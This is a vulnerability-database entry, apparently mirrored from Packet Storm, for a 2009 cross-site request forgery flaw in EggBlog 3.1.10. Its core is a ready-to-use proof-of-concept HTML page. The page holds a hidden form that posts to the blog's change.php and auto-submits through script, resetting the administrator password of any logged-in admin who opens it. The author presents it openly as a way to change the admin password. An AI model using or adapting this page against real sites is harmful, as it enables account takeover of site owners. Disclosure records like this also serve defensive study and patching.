Lucene search

K

EggBlog 3.1.10 XSRF Vulnerability

๐Ÿ—“๏ธย 02 Jan 2009ย 00:00:00Reported byย X0rTypeย 
packetstorm
ย packetstorm
๐Ÿ”—ย packetstormsecurity.com๐Ÿ‘ย 15ย Views

EggBlog 3.1.10 XSRF Vulnerability by x0r for admin password chang

Show more
Code
`| |   
| Project: EggBlog v 3.1.10 |  
| Author: x0r |  
| Email: andry2000[at]hotmail[dot]it |  
|________________________________________________________________________|  
  
Code:  
  
<html>  
<title>x0r :P </title>  
<form id="forum-form" name="forumform"  
method="post" action="http://[site]/[path]/change.php">   
  
<input type="hidden"  
size="30" id="forumpassword" name="password" />  
<input type="hidden"  
name="submit" value="Submit" />  
<script>document.forumform.submit()</script>   
  
</form>  
</HTML>  
  
With this csrf you can change the admin pass ^ ^  
  
  
`

Transform Your Security Services

Elevate your offerings with Vulners' advanced Vulnerability Intelligence. Contactย us for a demo andย discover the difference comprehensive, actionable intelligence can make in your security strategy.

Book a live demo
02 Jan 2009 00:00Current
0.2Low risk
Vulners AI Score0.2
15
.json
Report